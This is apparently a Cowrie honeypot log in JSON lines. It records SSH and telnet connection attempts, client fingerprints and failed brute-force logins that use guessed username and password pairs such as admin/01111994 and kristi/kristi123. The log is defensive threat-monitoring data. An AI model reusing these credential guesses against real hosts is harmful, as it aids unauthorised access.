{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d3078ed558","protocol":"telnet","message":"New connection: 3.130.168.2:55414 (159.203.135.109:23) [session: d3d3078ed558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:40:57.978946Z"}
{"eventid":"cowrie.session.closed","duration":0.024946212768554688,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:40:58.003769Z","src_ip":"3.130.168.2","session":"d3d3078ed558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46098,"dst_ip":"10.17.0.5","dst_port":23,"session":"502abb9f1d82","protocol":"telnet","message":"New connection: 3.130.168.2:46098 (10.17.0.5:23) [session: 502abb9f1d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:16.545740Z"}
{"eventid":"cowrie.session.closed","duration":10.021705865859985,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:26.567364Z","src_ip":"3.130.168.2","session":"502abb9f1d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57378,"dst_ip":"10.17.0.5","dst_port":22,"session":"03dc308c91eb","protocol":"ssh","message":"New connection: 195.178.110.218:57378 (10.17.0.5:22) [session: 03dc308c91eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:29.714320Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:29.791337Z","src_ip":"195.178.110.218","session":"03dc308c91eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":46446,"dst_ip":"10.17.0.5","dst_port":22,"session":"4466ea943231","protocol":"ssh","message":"New connection: 2.57.121.112:46446 (10.17.0.5:22) [session: 4466ea943231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:29.953230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:29.958047Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:30.062268Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01111994","message":"login attempt [admin/01111994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:30.551823Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"010980","message":"login attempt [admin/010980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:31.661356Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01091972","message":"login attempt [admin/01091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:32.769963Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0109","message":"login attempt [admin/0109] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:33.876099Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01081963","message":"login attempt [admin/01081963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:34.982595Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:41:36.090155Z","src_ip":"2.57.121.112","session":"4466ea943231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":60664,"dst_ip":"10.17.0.5","dst_port":23,"session":"f929416d373b","protocol":"telnet","message":"New connection: 3.130.168.2:60664 (10.17.0.5:23) [session: f929416d373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:13.557456Z"}
{"eventid":"cowrie.session.closed","duration":0.005324840545654297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:13.562675Z","src_ip":"3.130.168.2","session":"f929416d373b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.63.197.22","src_port":29550,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb712acf7a8a","protocol":"ssh","message":"New connection: 92.63.197.22:29550 (159.203.135.109:22) [session: fb712acf7a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.212219Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","message":"Remote SSH version: \u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.216737Z","src_ip":"92.63.197.22","session":"fb712acf7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.220100Z","src_ip":"92.63.197.22","session":"fb712acf7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.63.197.22","src_port":29566,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dc949442e2e","protocol":"ssh","message":"New connection: 92.63.197.22:29566 (159.203.135.109:22) [session: 8dc949442e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.368897Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","message":"Remote SSH version: \u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.374279Z","src_ip":"92.63.197.22","session":"8dc949442e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:42:38.378413Z","src_ip":"92.63.197.22","session":"8dc949442e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2fe149d207f","protocol":"telnet","message":"New connection: 3.130.168.2:44958 (159.203.135.109:23) [session: f2fe149d207f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:43:07.335504Z"}
{"eventid":"cowrie.session.closed","duration":10.024066686630249,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:43:17.359448Z","src_ip":"3.130.168.2","session":"f2fe149d207f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":54238,"dst_ip":"159.203.135.109","dst_port":23,"session":"381a85db86ee","protocol":"telnet","message":"New connection: 3.130.168.2:54238 (159.203.135.109:23) [session: 381a85db86ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:43:54.147060Z"}
{"eventid":"cowrie.session.closed","duration":0.004373073577880859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:43:54.151330Z","src_ip":"3.130.168.2","session":"381a85db86ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51008,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a8ea1aa7000","protocol":"ssh","message":"New connection: 195.178.110.218:51008 (10.17.0.5:22) [session: 5a8ea1aa7000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:44:29.955104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:44:29.958506Z","src_ip":"195.178.110.218","session":"5a8ea1aa7000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:44:30.033856Z","src_ip":"195.178.110.218","session":"5a8ea1aa7000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:44:30.261655Z","src_ip":"195.178.110.218","session":"5a8ea1aa7000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:44:31.343053Z","src_ip":"195.178.110.218","session":"5a8ea1aa7000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58834,"dst_ip":"10.17.0.5","dst_port":22,"session":"d201dac651c1","protocol":"ssh","message":"New connection: 195.178.110.218:58834 (10.17.0.5:22) [session: d201dac651c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:11.420551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:11.424971Z","src_ip":"195.178.110.218","session":"d201dac651c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:11.504602Z","src_ip":"195.178.110.218","session":"d201dac651c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:11.742141Z","src_ip":"195.178.110.218","session":"d201dac651c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:12.824077Z","src_ip":"195.178.110.218","session":"d201dac651c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e32a06224e","protocol":"ssh","message":"New connection: 213.209.159.159:49036 (10.17.0.5:22) [session: b3e32a06224e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:51.207485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:51.211819Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:51.294005Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi","message":"login attempt [kristi/kristi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:51.695678Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi1","message":"login attempt [kristi/kristi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:52.780426Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi123","message":"login attempt [kristi/kristi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:53.865261Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi1234","message":"login attempt [kristi/kristi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:54.950337Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi12345","message":"login attempt [kristi/kristi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:56.035277Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:47:57.120856Z","src_ip":"213.209.159.159","session":"b3e32a06224e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53928,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed92f48a6384","protocol":"ssh","message":"New connection: 195.178.110.218:53928 (10.17.0.5:22) [session: ed92f48a6384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:50:02.211150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:50:02.216901Z","src_ip":"195.178.110.218","session":"ed92f48a6384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:50:02.301931Z","src_ip":"195.178.110.218","session":"ed92f48a6384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:50:02.577841Z","src_ip":"195.178.110.218","session":"ed92f48a6384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:50:03.664105Z","src_ip":"195.178.110.218","session":"ed92f48a6384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31409,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca095f28b5a","protocol":"ssh","message":"New connection: 2.57.121.25:31409 (10.17.0.5:22) [session: 4ca095f28b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:17.567579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:17.572808Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:17.670144Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marybeth","message":"login attempt [user/marybeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:18.128396Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
